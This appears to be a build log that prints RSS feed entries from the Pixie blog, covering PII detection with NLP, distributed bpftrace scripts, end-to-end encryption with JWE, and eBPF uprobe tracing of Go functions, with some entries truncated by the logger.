6:35:43 AM: ' <img class=gatsby-resp-image-image alt=Detect PII in protocol trace data title=Detect PII in protocol trace data src=/static/1617ef0ff04a46a3a96d445e9d418aa6/e3189/sample_pii_json.png srcSet=/static/1617ef0ff04a46a3a96d445e9d418aa6/a2ead/sample_pii_json.png 259w,/static/1617ef0ff04a46a3a96d445e9d418aa6/6b9fd/sample_pii_json.png 518w,/static/1617ef0ff04a46a3a96d445e9d418aa6/e3189/sample_pii_json.png 1035w,/static/1617ef0ff04a46a3a96d445e9d418aa6/44d59/sample_pii_json.png 1553w,/static/1617ef0ff04a46a3a96d445e9d418aa6/a6d66/sample_pii_json.png 2070w,/static/1617ef0ff04a46a3a96d445e9d418aa6/0e89d/sample_pii_json.png 3058w sizes=(max-width: 1035px) 100vw, 1035px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>Detect PII in protocol trace data</figcaption>\n' +

6:35:43 AM: ' </figure></figure></div><p>It's 10 pm and you're on-call. A few minutes ago, you received a slack message about performance issues affecting users of your application. You sigh, pour yourself some instant coffee, and start pulling up the logs of your Kubernetes cluster. By chance, you peek at the latest HTTP request coming through - it's a purchase for foot cream. Not only that, but it has the customer's name, email, and IP address written all over it.</p><p><strong>"Ah," you think to yourself. "I probably shouldn't be seeing this."</strong></p><p>How often in your career have you muttered these words? With so much personal data flowing through applications, it can be all too easy to chance upon sensitive information while debugging issues. Some observability tools, like Pixie, enable users to <a href=https://docs.px.dev/reference/admin/deploy-options/#setting-the-data-access-mode>redact data sources they know to be sensitive</a>. Unfortunately, this solution drops entire categories of data, removing information that may be useful for debugging. To prevent privacy leaks while retaining useful information, developers need a system that finds and redacts only the sensitive parts of each data sample.</p><p>Recent breakthroughs in natural language processing (NLP) have made PII detection and redaction in unseen datasets feasible. In this blog post, I present:</p><ul><li><a href=https://huggingface.co/spaces/beki/pii-anonymizer target=_blank><b>An interactive demo of a PII anonymizer</b></a></li><li><a href=#introducing-a-new-pii-dataset><b> A new public PII dataset for structured data</b></a></li><li><a href=#how-was-this-data-generated><b>Privy, a synthetic PII data generator</b></a></li><li><a href=#benchmarking-existing-pii-classifiers><b>Benchmarks for off-the-shelf PII classifiers</b></a></li><li><a href=#custom-pii-classifier><b>Custom PII classifiers for protocol trace data (SQL, JSON etc)</b></a></li></ul><h2>How do I redact PII with Pixie?</h2><p>Pixie is an open source observability tool for Kubernetes applications that uses eBPF to automatically trace application requests, removing the need for manual instrumentation. Pixie supports a <code>PIIRestricted</code> data access mode that redacts a limited number of PII types (IPs, emails, MAC addresses, IMEI, credit cards, IBANs, and SSNs) using rule-based logic. Adding an NLP-based classifier would enable Pixie to detect additional PII like names and addresses. The Pixie project is gauging community interest in this <a href=https://github.com/pixie-io/pixie/issues/623>feature request</a> - feel free to check it out and add comments.</p><h2>Why care about sensitive data?</h2><p>The costs of privacy violations have never been higher. Be it the EU's General Data Protection Regulation or California's California Consumer Privacy Act (CCPA), governments have enacted a flurry of new laws seeking to protect people's privacy by regulating the use of <a href=https://gdpr.eu/eu-gdpr-personal-data/>Personally Identifiable Information (PII)</a>. The GDPR alone charges up to <a href=https://www.aparavi.com/resources-blog/data-compliance-fines-how-much-cost-you>€20 million or 4% of annual global turnover</a> (whichever is greater) for privacy violations. Despite such steep fines, compliance with these laws in the software industry has been spotty at best; privacy breaches abound and <a href=https://www.tessian.com/blog/biggest-gdpr-fines-2020/>companies are paying millions</a> as a result.</p><h2>Use NLP to detect personally identifiable information (PII)</h2><p>With recent advances in deep learning for text classification, developers have gained a promising new tool to detect sensitive data flows in their applications. <a href=https://research.google/pubs/pub46201/>Transformer-based architectures</a> achieve remarkable accuracy for <a href=https://paperswithcode.com/sota/named-entity-recognition-ner-on-ontonotes-v5>Named Entity Recognition (NER) tasks</a> in which models are trained to find geo-political entities, locations, and more in text samples.</p><h3>Why not use a rules based approach?</h3><p>Rule based approaches (including regex) can be helpful for detecting pattern-based PII data such as social security numbers or bank accounts, but they struggle to identify PII that don’t follow clear patterns such as addresses or names, and can be overly sensitive to formatting. For a generalizable PII solution, it is often better to employ machine learning.</p><h3>How do we know it's working?</h3><p>A machine learning system is only <a href=https://research.google/pubs/pub35179/>as accurate as the data it's trained on</a>. To have a good sense of how well a model performs, we need a dataset representative of the real life conditions it will be used in. In our case, we are looking for PII data a developer might encounter while debugging an application, including network data, logs, and protocol traces. Unfortunately, this data is not readily available - because PII is sensitive, public PII datasets are scarce. One option is to train on data leaks, though this data tends to be unlabelled, and is morally questionable to use. The labelled datasets that do exist (including 4-class <a href=https://paperswithcode.com/dataset/conll-2003>Conll</a>, and 18-class <a href=https://catalog.ldc.upenn.edu/LDC2013T19>OntoNotes</a>) consist of news articles and telephone conversations instead of the debugging information we need.</p><h2>Introducing a new PII dataset</h2><p>Due to the lack of public PII datasets for debugging information, I have generated a synthetic dataset that approximates real world data. <strong>To my knowledge, this is the largest, public PII dataset currently available for structured data.</strong> This new, labelled PII dataset consists of protocol traces (<code>JSON, SQL (PostgreSQL, MySQL), HTML, and XML</code>) generated from <a href=https://swagger.io/specification/>OpenAPI specifications</a> and includes <a href=https://github.com/pixie-io/pixie/blob/main/src/datagen/pii/privy/privy/providers/english_us.py>60+ PII types</a>.</p><h3>Download it here</h3><p>The dataset is <a href=https://huggingface.co/datasets/beki/privy>publicly available on huggingface</a>. It contains token-wise labeled samples that can be used to train and evaluate sequence labelling models that detect the exact position of PII entities in text, as I will do <a href=#custom-pii-classifier>later in this article</a>.</p><pre><code class=language-bash># text, spans\n' +

6:35:43 AM: '{"full_text": "{first_name: Moustafa, sale_id: 235234}", "spans": "[{value: Moustafa, start: 14, end: 21, type: person}]"}\n' +

6:35:43 AM: '</code></pre><p>Each sample was generated from a unique template extracted from a public API.</p><pre><code class=language-bash># template\n' +

6:35:43 AM: '{"first_name": "{{person}}", "sale_id": "235234"}\n' +

6:35:43 AM: '</code></pre><p>A <a href=https://en.wikipedia.org/wiki/Inside%E2%80%93outside%E2%80%93beginning_(tagging)>BILUO</a> tagged version of this dataset is also provided on huggingface for better compatibility with existing NER pipelines.</p><h3>How was this data generated?</h3><p>This synthetic dataset was generated using <a href=https://github.com/pixie-io/pixie/tree/main/src/datagen/pii/privy>Privy</a>, a tool which parses <a href=https://swagger.io/specification/>OpenAPI specifications</a> and generates synthetic request pay'... 31220 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Distributed bpftrace with Pixie',

6:35:43 AM: date: '2021-10-27',

6:35:43 AM: description: 'I recently heard about Pixie: an open source debug platform for microservices-based applications. Pixie is built using Linux eBPF…',

6:35:43 AM: url: 'https://blog.px.dev/distributed-bpftrace/',

6:35:43 AM: guid: 'https://blog.px.dev/distributed-bpftrace/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>I recently heard about Pixie: an open source debug platform for microservices-based applications. <a href=https://docs.px.dev/about-pixie/pixie-ebpf/>Pixie is built using Linux eBPF</a> (enhanced Berkeley Packet Filter) technology, which promises to provide automatic monitoring. In addition to the <a href=https://docs.px.dev/about-pixie/data-sources/#supported-protocols>protocols it natively traces</a>, Pixie has a feature that enables us to execute <code>bpftrace</code>-like scripts on the cluster, which is great. After seeing the Pixie Launch in April 2021, I decided to investigate Pixie and its <code>bpftrace</code> feature.</p><p>To get a first glance of the actual implementation, I started with Pixie's <a href=https://www.youtube.com/watch?v=xT7OYAgIV28>reference video</a> in which they convert <code>bpftrace</code>’s <code>tcp-retransmit.bt</code> to an actual PxL script. In that Youtube video everything seemed well explained, so I proceeded with my journey.</p><p>In this post, I'll show you how you can deploy bpftrace code with Pixie and share the converted <code>bpftrace</code> tool scripts that I've contributed to Pixie.</p><h2>bpftrace Background</h2><p>If you are not familiar with <code>bpftrace</code>, no problem. <code>bpftrace</code> is a tool that provides a high-level tracing language for eBPF. In the background it uses the BCC Toolkit (<a href=https://github.com/iovisor>IO Visor project</a>) and LLVM to compile all scripts to BPF-bytecode. It supports Kernel probes (Kprobes), user-level probes (Uprobes) and tracepoints. <code>bpftrace</code> itself is highly inspired by tools like <code>awk</code>, <code>sed</code> and tracers like DTrace and SystemTap, with the result that we can create awesome one-liners.</p><p>This makes the tool very powerful, but also has a downside since it can only run locally and doesn’t provide functionality to run distributed on remote systems, nor has a central UI.</p><p>Pixie can help us make these parts easier. Pixie can distribute eBPF programs across Kubernetes clusters and provides tables that can be easily queried from both a UI, CLI, or API.</p><h2>Modifying <code>sleepy_snoop</code> to work with Pixie</h2><p>Let's develop our first <code>bpftrace</code> PxL script. For this example, we will use a famous one-liner, which we will call <code>sleepy_snoop</code>. Let's first look at the actual code itself.</p><pre><code class=language-cpp>kprobe:do_nanosleep { printf("PID %d sleeping\\n", pid); }\n' +

6:35:43 AM: '</code></pre><p>Pixie requires some <a href=https://docs.px.dev/tutorials/custom-data/distributed-bpftrace-deployment/#output>minor adjustments</a> to make this code work inside a PxL script:</p><ul><li>First, we have to escape the <code>printf</code> double quotes.</li><li>We need one <code>printf</code> statement that includes field names as actual output to the Pixie table, so we have to adjust the <code>printf</code> statements in the <code>kprobe:do_nanosleep</code> block to include the <code>pid</code> column name.</li><li>Additionally, we are going to enrich the output with the timestamp and process name. We can natively use <code>nsecs</code> with fieldname <code>time_</code>. This field is recognized by Pixie and automatically shown as human readable datetime format. For recording the process name, we use the built-in <code>comm</code> variable.</li></ul><p>The converted eBPF program should look like this:</p><pre><code class=language-cpp>kprobe:do_nanosleep { printf(\\"time_:%llu pid:%d comm:%s\\", nsecs, pid, comm); }\n' +

6:35:43 AM: '</code></pre><h2>Running <code>sleepy_snoop</code> from the Pixie CLI</h2><p>Now that we have the eBPF code, we can create the actual PxL script. You can find a copy of this script <a href=https://github.com/avwsolutions/app-debug-k8s-pixie-demo/blob/main/tracepoint-scripts/sleepy_snoop.pxl>here</a>.</p><pre><code class=language-python># Import Pixie's modules for creating traces & querying data\n' +

6:35:43 AM: 'import pxtrace\n' +

6:35:43 AM: 'import px\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# Adapted from https://brendangregg.com\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'program = """\n' +

6:35:43 AM: 'kprobe:do_nanosleep { printf(\\"time_:%llu pid:%d comm:%s\\", nsecs, pid, comm); }\n' +

6:35:43 AM: '"""\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# sleepy_snoop_func function to create a tracepoint\n' +

6:35:43 AM: '# and start the data collection.\n' +

6:35:43 AM: 'def sleepy_snoop_func():\n' +

6:35:43 AM: ' table_name = 'sleepy_snoop_table'\n' +

6:35:43 AM: ' pxtrace.UpsertTracepoint('sleepy_snoop_tracer',\n' +

6:35:43 AM: ' table_name,\n' +

6:35:43 AM: ' program,\n' +

6:35:43 AM: ' pxtrace.kprobe(),\n' +

6:35:43 AM: ' "10m")\n' +

6:35:43 AM: ' df = px.DataFrame(table=table_name)\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' return df\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'output = sleepy_snoop_func();\n' +

6:35:43 AM: '\n' +

6:35:43 AM: '# display the tracepoint table data\n' +

6:35:43 AM: 'px.display(output)\n' +

6:35:43 AM: '</code></pre><p>This script looks a bit different from the PxL scripts which simply query already-collected data. In short, we:</p><ul><li>Import both <code>px</code> and <code>pxtrace</code> libraries.</li><li>Create a <code>program</code> variable that contains the BPF code.</li><li>Create a function to execute the tracepoint collection. In our case <code>sleepy_snoop_func</code>.</li><li>Define the target Pixie table to put the results into, called <code>sleepy_snoop_table</code>.</li><li>Define the Tracepoint to start the Kprobe, called <code>sleepy_snoop_tracer</code>. This includes a time-to-live of <code>10m</code>, which automatically removes the eBPF probes 10 minutes after the last script execution.</li><li>Create a <code>DataFrame</code> object from the table of results and display it in the UI.</li></ul><p>You can run the script using Pixie's CLI:</p><pre><code class=language-bash>px run -f sleepy_snoop.pxl\n' +

6:35:43 AM: '</code></pre><p>For more help on how to use Pixie's CLI, see the <a href=https://docs.px.dev/using-pixie/using-cli/>tutorial</a>.</p><p>An example of the CLI output is included below. Note that in some cases you may need to run the script twice. This is because a script may not have collected any data to display yet on the first run.</p><pre><code class=language-bash>px run -f sleepy_snoop.pxl\n' +

6:35:43 AM: 'Pixie CLI\n' +

6:35:43 AM: 'Table ID: output\n' +

6:35:43 AM: ' TIME PID COMM\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.546971049 +0200 CEST 12123 pem\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.614823431 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.615110023 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.615132796 +0200 CEST 8077 metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.615196553 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.621200052 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.621290646 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.621375788 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.546333885 +0200 CEST 6952 containerd-shim\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.546344427 +0200 CEST 1495 containerd\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.546366425 +0200 CEST 1495 containerd\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.546429576 +0200 CEST 1495 containerd\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.564011412 +0200 CEST 3563 containerd-shim\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.566385845 +0200 CEST 1603 kubelet\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.566485594 +0200 CEST 1603 kubelet\n' +

6:35:43 AM: ' 2021-09-27 20:11:15.615859719 +0200 CEST 4261 k8s_metadata\n' +

6:35:43 AM: '</code></pre><p>Congratulations, you have successfully created and deployed your first eBPF program with Pixie!</p><h2>Running <code>sleepy_snoop</code> from the Pixie UI</h2><p>We can also run this script <a href=https://docs.px.dev/using-pixie/using-live-ui/>using Pixie's UI</a>:</p><ul><li>Open the Pixie's UI</li><li>Select <code>Scratch Pad</code> from the <code>script</code> drop-down menu at the top.</li><li>Open the script editor using <code>ctrl+e</code> (Windows, Linux) or <code>cmd+e</code> (Mac) and paste in the script from the previous section. Close the editor using the same keyboard command.</li><li>Press the <code>RUN</code> button in the top right corner.</li></ul><div class=image-xl><svg title=Running the sleepy_snoop.pxl script in Pixie's UI src=sleepy_snoop.gif></svg></div><p>After a successful run you will get the first results back on the left side of your window, which will be the table view with three columns: <code>TIME_</code>, <code>PID</code> and <code>COMM</code>. As mentioned before, this <code>sleepy_snoop</code> traces all pids that are calling sleep. You can click on a table row to see the row data in JSON form.</p><h2>Real-life demonstration using OOM Killer Tracepoint</h2><p>Let’s do one more example by looking for OOM killed processes. In short, OOM means Out-Of-Memory and we can easily simulate this on our Kubernetes cluster with the demo code found <a href=https://github.com/avwsolutions/app-debug-k8s-pixie-demo/tree/main/memleak>here</a>. To trace for these events we will use the <code>oomkill.bt</code> tool.</p><p>Let's first look at the <a href=https://github.com/iovisor/bpftrace/blob/master/tools/oomkill.bt>original code</a>:</p><pre><code class=language-cpp>#include <linux/oom.h>\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'BEGIN\n' +

6:35:43 AM: '{\n' +

6:35:43 AM: ' printf("Tracing oom_kill_process()... Hit Ctrl-C to end.\\n");\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'kprobe:oom_kill_process\n' +

6:35:43 AM: '{\n' +

6:35:43 AM: ' $oc = (struct oom_control *)arg0;\n' +

6:35:43 AM: ' time("%H:%M:%S ");\n' +

6:35:43 AM: ' printf("Triggered by PID %d (\\"%s\\"), ", pid, comm);\n' +

6:35:43 AM: ' printf("OOM kill of PID %d (\\"%s\\"), %d pages, loadavg: ",\n' +

6:35:43 AM: ' $oc->chosen->pid, $oc->chosen->comm, $oc->totalpages);\n' +

6:35:43 AM: ' cat("/proc/loadavg");\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '</code></pr'... 5694 more characters

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Adding End-to-End Encryption for Proxied Data',

6:35:43 AM: date: '2021-09-21',

6:35:43 AM: description: 'End-to-end encryption has become increasingly popular as users demand that any data they send - a file, email, or text message - is not…',

6:35:43 AM: url: 'https://blog.px.dev/e2e-encryption/',

6:35:43 AM: guid: 'https://blog.px.dev/e2e-encryption/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>End-to-end encryption has become increasingly popular as users demand that any data they send - a file, email, or text message - is not decipherable by any unauthorized recipients. This consumer trend is evident in the recent surge in popularity of Signal, an encrypted instant messaging service.</p><p>In this post, we’ll cover what end-to-end encryption is and walk you through how we implemented it in our system.</p><h2>Why End-to-End Encryption?</h2><p>Pixie is designed with a <a href=/hybrid-architecture/hybrid-architecture/>hybrid cloud architecture</a> where data is collected and stored on the customer's environment. The cloud component is used for user management, authentication and proxying data.</p><div class=image-xl><svg title=This is a simplified architecture diagram of our system before end-to-end encryption. src=before-e2e.svg></svg></div><p>We use standard security practices to secure data in transit; all network communication between the cluster, proxy and client is TLS encrypted.</p><p>But TLS encryption is only point-to-point. When data passes internally through our proxy, the data is temporarily unencrypted. Pixie is an open source project, so users might deploy Pixie Cloud (and the accompanying proxy) in a variety of environments. We wanted to provide privacy guarantees for users given the heterogeneity of deployment scenarios.</p><p>By adding end-to-end encryption, we can ensure that the proxy only sees an encrypted form of the telemetry data.</p><h2>Implementation</h2><p>Pixie provides multiple clients for developers to interact with its platform:</p><ul><li>a web UI (JavaScript)</li><li>a CLI (Golang)</li><li>APIs (client libraries: Golang, Python)</li></ul><p>Since we needed to support E2E encryption across multiple languages, using a crypto standard with readily available implementations in multiple languages was a must. Given that we already use <a href=https://datatracker.ietf.org/doc/html/rfc7519/>JSON Web Token</a> (JWT) for user claims, we chose to look at the IETF proposed <a href=https://datatracker.ietf.org/group/jose/documents/>JSON Object Signing and Encryption</a> (JOSE) standard for our E2E encryption needs. We settled on using <a href=https://datatracker.ietf.org/doc/html/rfc7517/>JSON Web Key</a> (JWK) for key exchange and <a href=https://datatracker.ietf.org/doc/html/rfc7516/>JSON Web Encryption</a> (JWE) as our encryption format.</p><p>There are multiple libraries that implement the JOSE spec in different languages. We chose the following:</p><ul><li><a href=https://www.npmjs.com/package/jose>jose</a> for JavaScript (imported as <a href=https://www.npmjs.com/package/@inrupt/jose-legacy-modules>@inrupt/jose-legacy-modules</a> for compatibility with our tooling)</li><li><a href=https://pkg.go.dev/github.com/lestrrat-go/jwx>lestrrat-go/jwx</a> for Golang</li><li><a href=https://pypi.org/project/Authlib/>Authlib</a> for Python (notably, this library successfully handles messages that include null bytes)</li></ul><p>All three libraries have active communities, are well designed, have thoroughly documented APIs, and contain extensive test suites.</p><h2>End-to-End Encryption in Pixie</h2><p>JWE supports a variety of key types and algorithms, however <a href=https://datatracker.ietf.org/doc/html/rfc3447#section-7.1>RSA-OAEP</a> seems to be the most widely supported one across the many libraries. So we chose to use 4096 bit RSA keys with the RSA-OAEP encryption scheme across all our clients.</p><div class=image-xl><svg title=This is how a client interacts with Pixie after enabling end-to-end encryption. src=after-e2e.svg></svg></div><p>The client generates an asymmetric keypair and sends the public key with any requests for data. Telemetry data is encrypted with the given public key on the cluster. It remains encrypted from the moment it leaves the cluster until it reaches the client.</p><p>The asymmetric keypairs are intentionally ephemeral and generated at client creation time and rotated across sessions. This lack of reuse of keys allows an additional layer of protection from any accidentally leaked private keys.</p><p>We encrypt all telemetry data. Other message fields currently remain unencrypted within the proxy and are used by the proxy to make routing decisions.</p><h2>Summary</h2><p>Once we identified the various client libraries we wanted to use, implementing E2E encryption was straightforward. Check out the commits below for implementation details:</p><ul><li><a href=https://github.com/pixie-io/pixie/commit/d36d56b2e549038a59625525d20c5510f1e79ddf>commit #1</a>: Add encryption support to the <strong>Golang Server</strong></li><li><a href=https://github.com/pixie-io/pixie/commit/86237e511154e46d644086276fb103038d8d96e0>commit #2</a>: Add key creation & decryption support to the <strong>JavaScript UI</strong></li><li><a href=https://github.com/pixie-io/pixie/commit/079ad7d482d89e7349c930466721a00a70f01d1d>commit #3</a>: Add key creation & decryption support to the <strong>Golang API</strong></li><li><a href=https://github.com/pixie-io/pixie/commit/0d8e5c5220215bd7d88c83347284ff94ec27d2dc>commit #4</a>: Add key creation & decryption support to the <strong>Python API</strong></li></ul><p>We hope that the JOSE proposal becomes an IETF standard and this set of libraries and commits acts as a reference for anyone looking to implement E2E encryption in their own project!</p><p>Questions? Find us on <a href=https://slackin.px.dev/>Slack</a> or Twitter at <a href=https://twitter.com/pixie_run>@pixie_run</a>.</p>'

6:35:43 AM: }

6:35:43 AM: ]

6:35:43 AM: }

6:35:43 AM: {

6:35:43 AM: title: 'Debugging with eBPF Part 1: Tracing Go function arguments in prod',

6:35:43 AM: date: '2020-09-10',

6:35:43 AM: description: 'This is the first in a series of posts describing how we can debug applications in production using eBPF, without recompilation/redeployment…',

6:35:43 AM: url: 'https://blog.px.dev/ebpf-function-tracing/',

6:35:43 AM: guid: 'https://blog.px.dev/ebpf-function-tracing/',

6:35:43 AM: custom_elements: [

6:35:43 AM: {

6:35:43 AM: 'content:encoded': '<style data-emotion=css-global 1tv1gz9>html{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;box-sizing:border-box;-webkit-text-size-adjust:100%;}*,*::before,*::after{box-sizing:inherit;}strong,b{font-weight:700;}body{margin:0;color:rgba(var(--color-primary));padding:8px 0;font-family:Manrope,sans-serif;font-weight:400;font-size:1rem;line-height:1.5;letter-spacing:0.00938em;background-color:rgba(var(--color-background));}@media print{body{background-color:#fff;}}body::backdrop{background-color:rgba(var(--color-background));}</style><p>This is the first in a series of posts describing how we can debug applications in production using eBPF, without recompilation/redeployment. This post describes how to use <a href=https://github.com/iovisor/gobpf>gobpf</a> and uprobes to build a function argument tracer for Go applications. This technique is also extendable to other compiled languages such as C++, Rust, etc. The next sets of posts in this series will discuss using eBPF for tracing HTTP/gRPC data, SSL, etc.</p><h1>Introduction</h1><p>When debugging, we are typically interested in capturing the state of a program. This allows us to examine what the application is doing and determine where the bug is located in our code. A simple way to observe state is to use a debugger to capture function arguments. For Go applications, we often use Delve or gdb.</p><p>Delve and gdb work well for debugging in a development environment, but they are not often used in production. The features that make these debuggers powerful can also make them undesirable to use in production systems. Debuggers can cause significant interruption to the program and even allow mutation of state which might lead to unexpected failures of production software.</p><p>To more cleanly capture function arguments, we will explore using enhanced BPF (<a href=https://ebpf.io>eBPF</a>), which is available in Linux 4.x+, and the higher level Go library <a href=https://github.com/iovisor/gobpf>gobpf</a>.</p><h1>What is eBPF?</h1><p>Extended BPF (eBPF) is a kernel technology that is available in Linux 4.x+. You can think of it as a lightweight sandboxed VM that runs inside of the Linux kernel and can provide verified access to kernel memory.</p><p>As shown in the overview below, eBPF allows the kernel to run BPF bytecode. While the front-end language used can vary, it is often a restricted subset of C. Typically the C code is first compiled to the BPF bytecode using Clang, then the bytecode is verified to make sure it's safe to execute. These strict verifications guarantee that the machine code will not intentionally or accidentally compromise the Linux kernel, and that the BPF probe will execute in a bounded number of instructions every time it is triggered. These guarantees enable eBPF to be used in performance-critical workloads like packet filtering, networking monitoring, etc.</p><p>Functionally, eBPF allows you to run restricted C code upon some event (eg. timer, network event or a function call). When triggered on a function call we call these functions probes and they can be used to either run on a function call within the kernel (kprobes), or a function call in a userspace program (uprobes). This post focuses on using uprobes to allow dynamic tracing of function arguments.</p><h1>Uprobes</h1><p>Uprobes allow you to intercept a userspace program by inserting a debug trap instruction (<code>int3</code> on an x86) that triggers a soft-interrupt . This is also <a href=https://eli.thegreenplace.net/2011/01/27/how-debuggers-work-part-2-breakpoints>how debuggers work</a>. The flow for an uprobe is essentially the same as any other BPF program and is summarized in the diagram below. The compiled and verified BPF program is executed as part of a uprobe, and the results can be written into a buffer.</p><div class=image-l><p><figure class=gatsby-resp-image-figure>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-wrapper style=position:relative;display:block;margin-left:auto;margin-right:auto;max-width:610px>\n' +

6:35:43 AM: ' <span class=gatsby-resp-image-background-image style=padding-bottom:36.67953667953668%;position:relative;bottom:0;left:0;background-image:url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAHABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAIF/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQAC/9oADAMBAAIQAxAAAAHaky0G/8QAFxAAAwEAAAAAAAAAAAAAAAAAAAECMf/aAAgBAQABBQJlE5//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAUEAEAAAAAAAAAAAAAAAAAAAAQ/9oACAEBAAY/An//xAAZEAADAAMAAAAAAAAAAAAAAAAAAREhMYH/2gAIAQEAAT8hfPRq0Vsf/9oADAMBAAIAAwAAABAIL//EABcRAQEBAQAAAAAAAAAAAAAAAAEAITH/2gAIAQMBAT8QOzjf/8QAFREBAQAAAAAAAAAAAAAAAAAAARD/2gAIAQIBAT8QCf/EABoQAQEAAwEBAAAAAAAAAAAAAAERACFBMWH/2gAIAQEAAT8QQuJIHTcYIvk+Zvd3mf/Z');background-size:cover;display:block></span>\n' +

6:35:43 AM: ' <img class=gatsby-resp-image-image alt=BPF for tracing (from Brendan Gregg) title=BPF for tracing (from Brendan Gregg) src=/static/a11d6d9cb78e055d59136a97665907d3/073a0/bpf-tracing.jpg srcSet=/static/a11d6d9cb78e055d59136a97665907d3/8356d/bpf-tracing.jpg 259w,/static/a11d6d9cb78e055d59136a97665907d3/bc760/bpf-tracing.jpg 518w,/static/a11d6d9cb78e055d59136a97665907d3/073a0/bpf-tracing.jpg 610w sizes=(max-width: 610px) 100vw, 610px style=width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0 loading=lazy decoding=async/>\n' +

6:35:43 AM: ' </span>\n' +

6:35:43 AM: ' <figcaption class=gatsby-resp-image-figcaption>BPF for tracing (from Brendan Gregg)</figcaption>\n' +

6:35:43 AM: ' </figure></p></div><p>Let's see how uprobes actually function. To deploy uprobes and capture function arguments, we will be using <a href=https://github.com/pixie-io/pixie-demos/blob/main/simple-gotracing/app/app.go>this</a> simple demo application. The relevant parts of this Go program are shown below.</p><p><code>main()</code> is a simple HTTP server that exposes a single <em>GET</em> endpoint on <em>/e</em>, which computes Euler's number (<strong>e</strong>) using an iterative approximation. <code>computeE</code> takes in a single query param(<em>iters</em>), which specifies the number of iterations to run for the approximation. The more iterations, the more accurate the approximation, at the cost of compute cycles. It's not essential to understand the math behind the function. We are just interested in tracing the arguments of any invocation of <code>computeE</code>.</p><pre><code class=language-go:numbers>// computeE computes the approximation of e by running a fixed number of iterations.\n' +

6:35:43 AM: 'func computeE(iterations int64) float64 {\n' +

6:35:43 AM: ' res := 2.0\n' +

6:35:43 AM: ' fact := 1.0\n' +

6:35:43 AM: '\n' +

6:35:43 AM: ' for i := int64(2); i < iterations; i++ {\n' +

6:35:43 AM: ' fact *= float64(i)\n' +

6:35:43 AM: ' res += 1 / fact\n' +

6:35:43 AM: ' }\n' +

6:35:43 AM: ' return res\n' +

6:35:43 AM: '}\n' +

6:35:43 AM: '\n' +

6:35:43 AM: 'func main() {\n' +

6:35:43 AM: ' http.HandleFunc("/e", func(w http.ResponseWriter, r *http.Request) {\n' +

6:35:43 AM: ' // Parse iters argument from get request, use default if not available.\n' +

6:35:43 AM: ' // ... removed for brevity ...\n' +

6:35:43 AM: ' w.Write([]byte(fmt.Sprintf("e = %0.4f\\n", computeE(iters))))\n' +

6:35:43 AM: ' })\n' +

6:35:43 AM: ' // Start server...\n' +

6:35:43 AM: '}\n' +

